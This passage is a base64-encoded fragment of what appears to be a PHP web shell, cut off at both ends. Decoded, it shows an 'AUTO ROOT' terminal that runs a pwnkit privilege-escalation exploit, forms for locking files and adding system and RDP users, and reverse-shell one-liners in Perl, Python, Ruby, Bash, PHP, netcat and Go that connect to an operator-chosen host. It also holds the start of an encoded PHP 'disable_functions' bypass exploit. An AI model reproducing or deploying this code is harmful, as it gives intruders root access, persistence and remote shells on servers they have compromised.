lcm1pbmFsLWJ5cGFzcyIgY2xhc3M9InRlcm1pbmFsLWlucHV0IGJveC1zaGFkb3ciIHBsYWNlaG9sZGVyPSI8Pz0gJGZ1bmdzaVs5XSgpIC4gIkAiIC4gJF9TRVJWRVJbIlx4NTNceDQ1XHg1Mlx4NTZceDQ1XHg1Mlx4NWZceDQxXHg0NFx4NDRceDUyIl07ID8+IiBhdXRvZm9jdXM+PC9saT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxsaT48aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJ0ZXJtaW5hbC1ieXBhc3Mtc3VibWl0IiB2YWx1ZT0iPiIgY2xhc3M9ImJ0bi1tb2RhbC1jbG9zZSI+PC9saT4KICAgICAgICAgICAgICAgICAgICAgICAgPC91bD4KICAgICAgICAgICAgICAgICAgICA8L2Zvcm0+CiAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgPC9kaXY+CiAgICA8P3BocCBlbmRpZjsgPz4KICAgIDw/cGhwIGlmICgkX0dFVFsndGVybWluYWwnXSA9PSAicm9vdCIpIDogPz4KICAgICAgICA8ZGl2IGNsYXNzPSJ0ZXJtaW5hbCI+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9InRlcm1pbmFsLWNvbnRhaW5lciI+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJ0ZXJtaW5hbC1oZWFkIj4KICAgICAgICAgICAgICAgICAgICA8dWw+CiAgICAgICAgICAgICAgICAgICAgICAgIDxsaSBpZD0idGVybWluYWwtdGl0bGUiPjxiPjxpIGNsYXNzPSJmYS1zb2xpZCBmYS10ZXJtaW5hbCI+PC9pPiZuYnNwO0FVVE8gUk9PVDwvYj48L2xpPgogICAgICAgICAgICAgICAgICAgICAgICA8bGk+PGEgaHJlZj0iIiBjbGFzcz0iY2xvc2UtdGVybWluYWwiPjxpIGNsYXNzPSJmYS1zb2xpZCBmYS1yaWdodC1mcm9tLWJyYWNrZXQiPjwvaT48L2E+PC9saT4KICAgICAgICAgICAgICAgICAgICA8L3VsPgogICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJ0ZXJtaW5hbC1ib2R5Ij4KICAgICAgICAgICAgICAgICAgICA8dGV4dGFyZWEgbmFtZT0iIiBkaXNhYmxlZD48P3BocCBpZiAoJGZ1bmdzaVszXSgnLm1hZC1yb290JykgJiYgJGZ1bmdzaVszXSgncHdua2l0JykpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRyZXNwb25zZSA9ICRmdW5nc2lbMTFdKCcubWFkLXJvb3QnKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRyX3RleHQgPSBleHBsb2RlKCIgIiwgJHJlc3BvbnNlKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkcl90ZXh0WzBdID09ICJ1aWQ9MChyb290KSIpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydzdWJtaXQtcm9vdCddKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvIGNtZCgnLi9wd25raXQgIicgLiAkX1BPU1RbJ3Jvb3QtdGVybWluYWwnXSAuICcgIDI+JjEiJyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICJUaGlzIERldmljZSBJcyBOb3QgVnVsbmVyYWJsZVxuIjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvIGNtZCgnbHNiX3JlbGVhc2UgLWEnKSAuICJcbiI7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiS2VybmVsIFZlcnNpb24gOiAiIC4gc3VnZ2VzdF9leHBsb2l0KCkgLiAiXG4iOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGZ1bmdzaVsyNF0oJy5tYWQtcm9vdCcpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9ID8+PC90ZXh0YXJlYT4KICAgICAgICAgICAgICAgICAgICA8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0Ij4KICAgICAgICAgICAgICAgICAgICAgICAgPHVsPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxpPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJyb290LXRlcm1pbmFsIiBjbGFzcz0idGVybWluYWwtaW5wdXQiIHBsYWNlaG9sZGVyPSI8Pz0gInJvb3QiIC4gIkAiIC4gJF9TRVJWRVJbIlx4NTNceDQ1XHg1Mlx4NTZceDQ1XHg1Mlx4NWZceDQxXHg0NFx4NDRceDUyIl07ID8+IiBhdXRvZm9jdXM+PC9saT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxsaT48aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXQtcm9vdCIgdmFsdWU9Ij4iIGNsYXNzPSJidG4tbW9kYWwtY2xvc2UiPjwvbGk+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvdWw+CiAgICAgICAgICAgICAgICAgICAgPC9mb3JtPgogICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgIDwvZGl2PgogICAgICAgIDwvZGl2PgogICAgPD9waHAgZW5kaWY7ID8+CiAgICA8P3BocCBpZiAoJF9HRVRbJ3JlJ10gPT0gdHJ1ZSkgOiA/PgogICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsIGFjdGl2ZSI+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsLWNvbnRhaW5lciI+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1oZWFkZXIiPgogICAgICAgICAgICAgICAgICAgIDxoMz48Yj48aSBpZD0ibW9kYWwtdGl0bGUiPlJlbmFtZSA6IDw/PSB1bngoJF9HRVRbJ3JlJ10pID8+PC9pPjwvYj48L2gzPgogICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1ib2R5Ij4KICAgICAgICAgICAgICAgICAgICA8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0Ij4KICAgICAgICAgICAgICAgICAgICAgICAgPHNwYW4gaWQ9Im1vZGFsLWlucHV0Ij48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0icmVuYW1lRmlsZSIgY2xhc3M9Im1vZGFsLWNyZWF0ZS1pbnB1dCIgcGxhY2Vob2xkZXI9IlJlbmFtZSI+PC9zcGFuPgogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1idG4tZm9ybSI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXQiIHZhbHVlPSJTdWJtaXQiIGNsYXNzPSJidG4tbW9kYWwtY2xvc2UgYm94LXNoYWRvdyI+Jm5ic3A7PGJ1dHRvbiBjbGFzcz0iYnRuLW1vZGFsLWNsb3NlIGJveC1zaGFkb3cgY2xvc2UtYnRuLXMiPkNsb3NlPC9idXR0b24+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgIDwvZm9ybT4KICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICA8L2Rpdj4KICAgICAgICA8L2Rpdj4KICAgIDw/cGhwIGVuZGlmOyA/PgogICAgPD9waHAgaWYgKCRfR0VUWydjaCddID09IHRydWUpIDogPz4KICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbCBhY3RpdmUiPgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1jb250YWluZXIiPgogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibW9kYWwtaGVhZGVyIj4KICAgICAgICAgICAgICAgICAgICA8aDM+PGI+PGkgaWQ9Im1vZGFsLXRpdGxlIj5DaGFuZ2UgUGVybWlzc2lvbiA6IDw/PSB1bngoJF9HRVRbJ2NoJ10pID8+PC9pPjwvYj48L2gzPgogICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1ib2R5Ij4KICAgICAgICAgICAgICAgICAgICA8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0Ij4KICAgICAgICAgICAgICAgICAgICAgICAgPHNwYW4gaWQ9Im1vZGFsLWlucHV0Ij48aW5wdXQgdHlwZT0ibnVtYmVyIiBuYW1lPSJjaEZpbGUiIGNsYXNzPSJtb2RhbC1jcmVhdGUtaW5wdXQiIHBsYWNlaG9sZGVyPSIwNzc1Ij48L3NwYW4+CiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsLWJ0bi1mb3JtIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdCIgdmFsdWU9IlN1Ym1pdCIgY2xhc3M9ImJ0bi1tb2RhbC1jbG9zZSBib3gtc2hhZG93Ij4mbmJzcDs8YnV0dG9uIGNsYXNzPSJidG4tbW9kYWwtY2xvc2UgYm94LXNoYWRvdyBjbG9zZS1idG4tcyI+Q2xvc2U8L2J1dHRvbj4KICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgPC9mb3JtPgogICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgIDwvZGl2PgogICAgICAgIDwvZGl2PgogICAgICAgIDwvZGl2PgogICAgPD9waHAgZW5kaWY7ID8+CiAgICA8c2NyaXB0PgogICAgICAgICQoZG9jdW1lbnQpLnJlYWR5KGZ1bmN0aW9uKCkgewogICAgICAgICAgICAkKCcjY3JlYXRlX2ZvbGRlcicpLmNsaWNrKGZ1bmN0aW9uKCkgewogICAgICAgICAgICAgICAgJCgnLm1vZGFsJykuc2hvdygpOwogICAgICAgICAgICAgICAgJCgnI21vZGFsLXRpdGxlJykuaHRtbCgnPGkgY2xhc3M9ImZhLXNvbGlkIGZhLWZvbGRlci1wbHVzIj48L2k+Jm5ic3A7Q3JlYXRlIEZvbGRlcicpOwogICAgICAgICAgICAgICAgJCgnI21vZGFsLWlucHV0JykuaHRtbCgnPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImNyZWF0ZV9mb2xkZXIiIGNsYXNzPSJtb2RhbC1jcmVhdGUtaW5wdXQiIHBsYWNlaG9sZGVyPSJDcmVhdGUgRm9sZGVyIj4nKTsKICAgICAgICAgICAgICAgIGV2ZW50LnByZXZlbnREZWZhdWx0KCk7CiAgICAgICAgICAgIH0pOwogICAgICAgICAgICAkKCcjY3JlYXRlX2ZpbGUnKS5jbGljayhmdW5jdGlvbigpIHsKICAgICAgICAgICAgICAgICQoJy5tb2RhbCcpLnNob3coKTsKICAgICAgICAgICAgICAgICQoJyNtb2RhbC10aXRsZScpLmh0bWwoJzxpIGNsYXNzPSJmYS1zb2xpZCBmYS1maWxlLWNpcmNsZS1wbHVzIj48L2k+Jm5ic3A7Q3JlYXRlIEZpbGUnKTsKICAgICAgICAgICAgICAgICQoJyNtb2RhbC1pbnB1dCcpLmh0bWwoJzxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJjcmVhdGVfZmlsZSIgY2xhc3M9Im1vZGFsLWNyZWF0ZS1pbnB1dCIgcGxhY2Vob2xkZXI9IkNyZWF0ZSBGaWxlIj4nKTsKICAgICAgICAgICAgICAgIGV2ZW50LnByZXZlbnREZWZhdWx0KCk7CiAgICAgICAgICAgIH0pOwogICAgICAgICAgICAkKCcjbG9jay1maWxlJykuY2xpY2soZnVuY3Rpb24oKSB7CiAgICAgICAgICAgICAgICAkKCcubW9kYWwnKS5zaG93KCk7CiAgICAgICAgICAgICAgICAkKCcjbW9kYWwtdGl0bGUnKS5odG1sKCc8aSBjbGFzcz0iZmEtc29saWQgZmEtbG9jayI+PC9pPiZuYnNwO0xPQ0sgRklMRScpOwogICAgICAgICAgICAgICAgJCgnI21vZGFsLWlucHV0JykuaHRtbCgnPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImxvY2tmaWxlIiBjbGFzcz0ibW9kYWwtY3JlYXRlLWlucHV0IiBwbGFjZWhvbGRlcj0iWW91ciBGaWxlIE5hbWUiPicpOwogICAgICAgICAgICAgICAgZXZlbnQucHJldmVudERlZmF1bHQoKTsKICAgICAgICAgICAgfSk7CiAgICAgICAgICAgICQoJyNsb2NrLXdpbmRvd3MnKS5jbGljayhmdW5jdGlvbigpIHsKICAgICAgICAgICAgICAgICQoJy5tb2RhbCcpLnNob3coKTsKICAgICAgICAgICAgICAgICQoJyNtb2RhbC10aXRsZScpLmh0bWwoJzxpIGNsYXNzPSJmYS1zb2xpZCBmYS1sb2NrIj48L2k+Jm5ic3A7TE9DSyBGSUxFIFdJTkRPV1MnKTsKICAgICAgICAgICAgICAgICQoJyNtb2RhbC1pbnB1dCcpLmh0bWwoJzxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJsb2NrLXdpbmRvd3MiIGNsYXNzPSJtb2RhbC1jcmVhdGUtaW5wdXQiIHBsYWNlaG9sZGVyPSJZb3VyIEZpbGUgTmFtZSI+Jyk7CiAgICAgICAgICAgICAgICBldmVudC5wcmV2ZW50RGVmYXVsdCgpOwogICAgICAgICAgICB9KTsKICAgICAgICAgICAgJCgnI3Jvb3QtdXNlcicpLmNsaWNrKGZ1bmN0aW9uKCkgewogICAgICAgICAgICAgICAgJCgnLm1vZGFsJykuc2hvdygpOwogICAgICAgICAgICAgICAgJCgnI21vZGFsLXRpdGxlJykuaHRtbCgnPGkgY2xhc3M9ImZhLXNvbGlkIGZhLXVzZXItcGx1cyI+PC9pPiZuYnNwO0FERCBVU0VSJyk7CiAgICAgICAgICAgICAgICAkKCcjbW9kYWwtaW5wdXQnKS5odG1sKCc8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iYWRkLXVzZXJuYW1lIiBjbGFzcz0ibW9kYWwtY3JlYXRlLWlucHV0IiBwbGFjZWhvbGRlcj0iVXNlcm5hbWUiPjxicj48YnI+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImFkZC1wYXNzd29yZCIgY2xhc3M9Im1vZGFsLWNyZWF0ZS1pbnB1dCIgcGxhY2Vob2xkZXI9IlBhc3N3b3JkIj4nKTsKICAgICAgICAgICAgICAgIGV2ZW50LnByZXZlbnREZWZhdWx0KCk7CiAgICAgICAgICAgIH0pOwoKICAgICAgICAgICAgJCgnI2NyZWF0ZS1yZHAnKS5jbGljayhmdW5jdGlvbigpIHsKICAgICAgICAgICAgICAgICQoJy5tb2RhbCcpLnNob3coKTsKICAgICAgICAgICAgICAgICQoJyNtb2RhbC10aXRsZScpLmh0bWwoJzo6IENSRUFURSBSRFAnKTsKICAgICAgICAgICAgICAgICQoJyNtb2RhbC1pbnB1dCcpLmh0bWwoJzxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJhZGQtcmRwIiBjbGFzcz0ibW9kYWwtY3JlYXRlLWlucHV0IiBwbGFjZWhvbGRlcj0iVXNlcm5hbWUiPjxicj48YnI+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImFkZC1yZHAtcGFzcyIgY2xhc3M9Im1vZGFsLWNyZWF0ZS1pbnB1dCIgcGxhY2Vob2xkZXI9IlBhc3N3b3JkIj4nKTsKICAgICAgICAgICAgICAgIGV2ZW50LnByZXZlbnREZWZhdWx0KCk7CiAgICAgICAgICAgIH0pOwoKICAgICAgICAgICAgJCgnI2Nsb3NlLW1vZGFsJykuY2xpY2soZnVuY3Rpb24oKSB7CiAgICAgICAgICAgICAgICAkKCcubW9kYWwnKS5oaWRlKCk7CiAgICAgICAgICAgICAgICBldmVudC5wcmV2ZW50RGVmYXVsdCgpOwogICAgICAgICAgICB9KTsKICAgICAgICAgICAgJCgnI2Nsb3NlLWVkaXRvcicpLmNsaWNrKGZ1bmN0aW9uKCkgewogICAgICAgICAgICAgICAgJCgnLmNvZGUtZWRpdG9yJykuaGlkZSgpOwogICAgICAgICAgICAgICAgZXZlbnQucHJldmVudERlZmF1bHQoKTsKICAgICAgICAgICAgfSk7CgogICAgICAgICAgICAkKCcuY2xvc2UtdGVybWluYWwnKS5jbGljayhmdW5jdGlvbigpIHsKICAgICAgICAgICAgICAgICQoJy50ZXJtaW5hbCcpLmhpZGUoKTsKICAgICAgICAgICAgICAgIGV2ZW50LnByZXZlbnREZWZhdWx0KCk7CiAgICAgICAgICAgIH0pOwogICAgICAgICAgICAkKCcuY2xvc2UtYnRuLXMnKS5jbGljayhmdW5jdGlvbigpIHsKICAgICAgICAgICAgICAgICQoJy5tb2RhbCcpLmhpZGUoKTsKICAgICAgICAgICAgICAgIGV2ZW50LnByZXZlbnREZWZhdWx0KCk7CiAgICAgICAgICAgIH0pOwogICAgICAgIH0pOwogICAgPC9zY3JpcHQ+CjwvYm9keT4KCjwvaHRtbD4KPD9waHAKCgppZiAoaXNzZXQoJF9QT1NUWydzdWJtaXQtYmMnXSkpIHsKICAgICRIb3N0U2VydmVyID0gJF9QT1NUWydiYWNrY29ubmVjdC1ob3N0J107CiAgICAkUG9ydFNlcnZlciA9ICRfUE9TVFsnYmFja2Nvbm5lY3QtcG9ydCddOwogICAgaWYgKCRfUE9TVFsnZ2Vja28tYmMnXSA9PSAicGVybCIpIHsKICAgICAgICBlY2hvIGNtZCgncGVybCAtZSBcJ3VzZSBTb2NrZXQ7JGk9IicgLiAkSG9zdFNlcnZlciAuICciOyRwPScgLiAkUG9ydFNlcnZlciAuICc7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307XCcnKTsKICAgIH0gZWxzZSBpZiAoJF9QT1NUWydnZWNrby1iYyddID09ICJweXRob24iKSB7CiAgICAgICAgZWNobyBjbWQoJ3B5dGhvbiAtYyBcJ2ltcG9ydCBzb2NrZXQsc3VicHJvY2VzcyxvcztzPXNvY2tldC5zb2NrZXQoc29ja2V0LkFGX0lORVQsc29ja2V0LlNPQ0tfU1RSRUFNKTtzLmNvbm5lY3QoKCInIC4gJEhvc3RTZXJ2ZXIgLiAnIiwnIC4gJFBvcnRTZXJ2ZXIgLiAnKSk7b3MuZHVwMihzLmZpbGVubygpLDApOyBvcy5kdXAyKHMuZmlsZW5vKCksMSk7IG9zLmR1cDIocy5maWxlbm8oKSwyKTtwPXN1YnByb2Nlc3MuY2FsbChbIi9iaW4vc2giLCItaSJdKTtcJycpOwogICAgfSBlbHNlIGlmICgkX1BPU1RbJ2dlY2tvLWJjJ10gPT0gInJ1YnkiKSB7CiAgICAgICAgZWNobyBjbWQoJ3J1YnkgLXJzb2NrZXQgLWVcJ2Y9VENQU29ja2V0Lm9wZW4oIicgLiAkSG9zdFNlcnZlciAuICciLCcgLiAkUG9ydFNlcnZlciAuICcpLnRvX2k7ZXhlYyBzcHJpbnRmKCIvYmluL3NoIC1pIDwmJWQgPiYlZCAyPiYlZCIsZixmLGYpXCcnKTsKICAgIH0gZWxzZSBpZiAoJF9QT1NUWydnZWNrby1iYyddID09ICJiYXNoIikgewogICAgICAgIGVjaG8gY21kKCdiYXNoIC1pID4mIC9kZXYvdGNwLycgLiAkSG9zdFNlcnZlciAuICcvJyAuICRQb3J0U2VydmVyIC4gJyAwPiYxJyk7CiAgICB9IGVsc2UgaWYgKCRfUE9TVFsnZ2Vja28tYmMnXSA9PSAicGhwIikgewogICAgICAgIGVjaG8gY21kKCdwaHAgLXIgXCckc29jaz1mc29ja29wZW4oIicgLiAkSG9zdFNlcnZlciAuICciLCcgLiAkUG9ydFNlcnZlciAuICcpO2V4ZWMoIi9iaW4vc2ggLWkgPCYzID4mMyAyPiYzIik7XCcnKTsKICAgIH0gZWxzZSBpZiAoJF9QT1NUWydnZWNrby1iYyddID09ICJuYyIpIHsKICAgICAgICBlY2hvIGNtZCgncm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnwvYmluL3NoIC1pIDI+JjF8bmMgJyAuICRIb3N0U2VydmVyIC4gJyAnIC4gJFBvcnRTZXJ2ZXIgLiAnID4vdG1wL2YnKTsKICAgIH0gZWxzZSBpZiAoJF9QT1NUWydnZWNrby1iYyddID09ICJzaCIpIHsKICAgICAgICBlY2hvIGNtZCgnc2ggLWkgPiYgL2Rldi90Y3AvJyAuICRIb3N0U2VydmVyIC4gJy8nIC4gJFBvcnRTZXJ2ZXIgLiAnIDA+JjEnKTsKICAgIH0gZWxzZSBpZiAoJF9QT1NUWydnZWNrby1iYyddID09ICJ4dGVybSIpIHsKICAgICAgICBlY2hvIGNtZCgneHRlcm0gLWRpc3BsYXkgJyAuICRIb3N0U2VydmVyIC4gJzonIC4gJFBvcnRTZXJ2ZXIpOwogICAgfSBlbHNlIGlmICgkX1BPU1RbJ2dlY2tvLWJjJ10gPT0gImdvbGFuZyIpIHsKICAgICAgICBlY2hvIGNtZCgnZWNobyBcJ3BhY2thZ2UgbWFpbjtpbXBvcnQib3MvZXhlYyI7aW1wb3J0Im5ldCI7ZnVuYyBtYWluKCl7YyxfOj1uZXQuRGlhbCgidGNwIiwiJyAuICRIb3N0U2VydmVyIC4gJzonIC4gJFBvcnRTZXJ2ZXIgLiAnIik7Y21kOj1leGVjLkNvbW1hbmQoIi9iaW4vc2giKTtjbWQuU3RkaW49YztjbWQuU3Rkb3V0PWM7Y21kLlN0ZGVycj1jO2NtZC5SdW4oKX1cJyA+IC90bXAvdC5nbyAmJiBnbyBydW4gL3RtcC90LmdvICYmIHJtIC90bXAvdC5nbycpOwogICAgfQp9CgoKaWYgKCRfR0VUWyd0ZXJtaW5hbCddID09ICJieXBhc3NlciIpIHsKICAgIGlmICghJGZ1bmdzaVszXSgnLnRlcm0tYnlwYXNzJykgJiYgJGZ1bmdzaVs0XSgkZnVuZ3NpWzBdKCkpKSB7CiAgICAgICAgJGNvbm50ID0gJ1BEOXdhSEFLWm5WdVkzUnBiMjRnY0hkdUtDUmpiV1JrS1NCN0NpQWdJQ0JuYkc5aVlXd2dKR0ZpWXl3Z0pHaGxiSEJsY2l3Z0pHSmhZMnQwY21GalpUc0tDaUFnSUNCamJHRnpjeUJXZFd4dUlIc0tJQ0FnSUNBZ0lDQndkV0pzYVdNZ0pHRTdDaUFnSUNBZ0lDQWdjSFZpYkdsaklHWjFibU4wYVc5dUlGOWZaR1Z6ZEhKMVkzUW9LU0I3SUFvZ0lDQWdJQ0FnSUNBZ0lDQm5iRzlpWVd3Z0pHSmhZMnQwY21GalpUc2dDaUFnSUNBZ0lDQWdJQ0FnSUhWdWMyVjBLQ1IwYUdsekxUNWhLVHNLSUNBZ0lDQWdJQ0FnSUNBZ0pHSmhZMnQwY21GalpTQTlJQ2h1WlhjZ1JYaGpaWEIwYVc5dUtTMCtaMlYwVkhKaFkyVW9LVHNnSXlBN0tRb2dJQ0FnSUNBZ0lDQWdJQ0JwWmlnaGFYTnpaWFFvSkdKaFkydDBjbUZqWlZzeFhWc25ZWEpuY3lkZEtTa2dleUFqSUZCSVVDQStQU0EzTGpRS0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNSaVlXTnJkSEpoWTJVZ1BTQmtaV0oxWjE5aVlXTnJkSEpoWTJVb0tUc0tJQ0FnSUNBZ0lDQWdJQ0FnZlFvZ0lDQWdJQ0FnSUgwS0lDQWdJSDBLQ2lBZ0lDQmpiR0Z6Y3lCSVpXeHdaWElnZXdvZ0lDQWdJQ0FnSUhCMVlteHBZeUFrWVN3Z0pHSXNJQ1JqTENBa1pEc0tJQ0FnSUgwS0NpQWdJQ0JtZFc1amRHbHZiaUJ6ZEhJeWNIUnlLQ1lrYzNSeUxDQWtjQ0E5SURBc0lDUnpJRDBnT0NrZ2V3b2dJQ0FnSUNBZ0lDUmhaR1J5WlhOeklEMGdNRHNLSUNBZ0lDQWdJQ0JtYjNJb0pHb2dQU0FrY3kweE95QWthaUErUFNBd095QWthaTB0S1NCN0NpQWdJQ0FnSUNBZ0lDQWdJQ1JoWkdSeVpYTnpJRHc4UFNBNE93b2dJQ0FnSUNBZ0lDQWdJQ0FrWVdSa2NtVnpjeUI4UFNCdmNtUW9KSE4wY2xza2NDc2thbDBwT3dvZ0lDQWdJQ0FnSUgwS0lDQWdJQ0FnSUNCeVpYUjFjbTRnSkdGa1pISmxjM003Q2lBZ0lDQjlDZ29nSUNBZ1puVnVZM1JwYjI0Z2NIUnlNbk4wY2lna2NIUnlMQ0FrYlNBOUlEZ3BJSHNLSUNBZ0lDQWdJQ0FrYjNWMElEMGdJaUk3Q2lBZ0lDQWdJQ0FnWm05eUlDZ2thVDB3T3lBa2FTQThJQ1J0T3lBa2FTc3JLU0I3Q2lBZ0lDQWdJQ0FnSUNBZ0lDUnZkWFFnTGowZ1kyaHlLQ1J3ZEhJZ0ppQXdlR1ptS1RzS0lDQWdJQ0FnSUNBZ0lDQWdKSEIwY2lBK1BqMGdPRHNLSUNBZ0lDQWdJQ0I5Q2lBZ0lDQWdJQ0FnY21WMGRYSnVJQ1J2ZFhRN0NpQWdJQ0I5Q2dvZ0lDQWdablZ1WTNScGIyNGdkM0pwZEdVb0ppUnpkSElzSUNSd0xDQWtkaXdnSkc0Z1BTQTRLU0I3Q2lBZ0lDQWdJQ0FnSkdrZ1BTQXdPd29nSUNBZ0lDQWdJR1p2Y2lna2FTQTlJREE3SUNScElEd2dKRzQ3SUNScEt5c3BJSHNLSUNBZ0lDQWdJQ0FnSUNBZ0pITjBjbHNrY0NBcklDUnBYU0E5SUdOb2NpZ2tkaUFtSURCNFptWXBPd29nSUNBZ0lDQWdJQ0FnSUNBa2RpQStQajBnT0RzS0lDQWdJQ0FnSUNCOUNpQWdJQ0I5Q2dvZ0lDQWdablZ1WTNScGIyNGdiR1ZoYXlna1lXUmtjaXdnSkhBZ1BTQXdMQ0FrY3lBOUlEZ3BJSHNLSUNBZ0lDQWdJQ0JuYkc5aVlXd2dKR0ZpWXl3Z0pHaGxiSEJsY2pzS0lDQWdJQ0FnSUNCM2NtbDBaU2drWVdKakxDQXdlRFk0TENBa1lXUmtjaUFySUNSd0lDMGdNSGd4TUNrN0NpQWdJQ0FnSUNBZ0pHeGxZV3NnUFNCemRISnNaVzRvSkdobGJIQmxjaTArWVNrN0NpQWdJQ0FnSUNBZ2FXWW9KSE1nSVQwZ09Da2dleUFrYkdWaGF5QWxQU0F5SUR3OElDZ2tjeUFxSURncElDMGdNVHNnZlFvZ0lDQWdJQ0FnSUhKbGRIVnliaUFrYkdWaGF6c0tJQ0FnSUgwS0NpQWdJQ0JtZFc1amRHbHZiaUJ3WVhKelpWOWxiR1lvSkdKaGMyVXBJSHNLSUNBZ0lDQWdJQ0FrWlY5MGVYQmxJRDBnYkdWaGF5Z2tZbUZ6WlN3Z01IZ3hNQ3dnTWlrN0Nnb2dJQ0FnSUNBZ0lDUmxYM0JvYjJabUlEMGdiR1ZoYXlna1ltRnpaU3dnTUhneU1DazdDaUFnSUNBZ0lDQWdKR1ZmY0dobGJuUnphWHBsSUQwZ2JHVmhheWdrWW1GelpTd2dNSGd6Tml3Z01pazdDaUFnSUNBZ0lDQWdKR1ZmY0dodWRXMGdQU0JzWldGcktDUmlZWE5sTENBd2VETTRMQ0F5S1RzS0NpQWdJQ0FnSUNBZ1ptOXlLQ1JwSUQwZ01Ec2dKR2tnUENBa1pWOXdhRzUxYlRzZ0pHa3JLeWtnZXdvZ0lDQWdJQ0FnSUNBZ0lDQWthR1ZoWkdWeUlEMGdKR0poYzJVZ0t5QWtaVjl3YUc5bVppQXJJQ1JwSUNvZ0pHVmZjR2hsYm5SemFYcGxPd29nSUNBZ0lDQWdJQ0FnSUNBa2NGOTBlWEJsSUNBOUlHeGxZV3NvSkdobFlXUmxjaXdnTUN3Z05DazdDaUFnSUNBZ0lDQWdJQ0FnSUNSd1gyWnNZV2R6SUQwZ2JHVmhheWdrYUdWaFpHVnlMQ0EwTENBMEtUc0tJQ0FnSUNBZ0lDQWdJQ0FnSkhCZmRtRmtaSElnUFNCc1pXRnJLQ1JvWldGa1pYSXNJREI0TVRBcE93b2dJQ0FnSUNBZ0lDQWdJQ0FrY0Y5dFpXMXplaUE5SUd4bFlXc29KR2hsWVdSbGNpd2dNSGd5T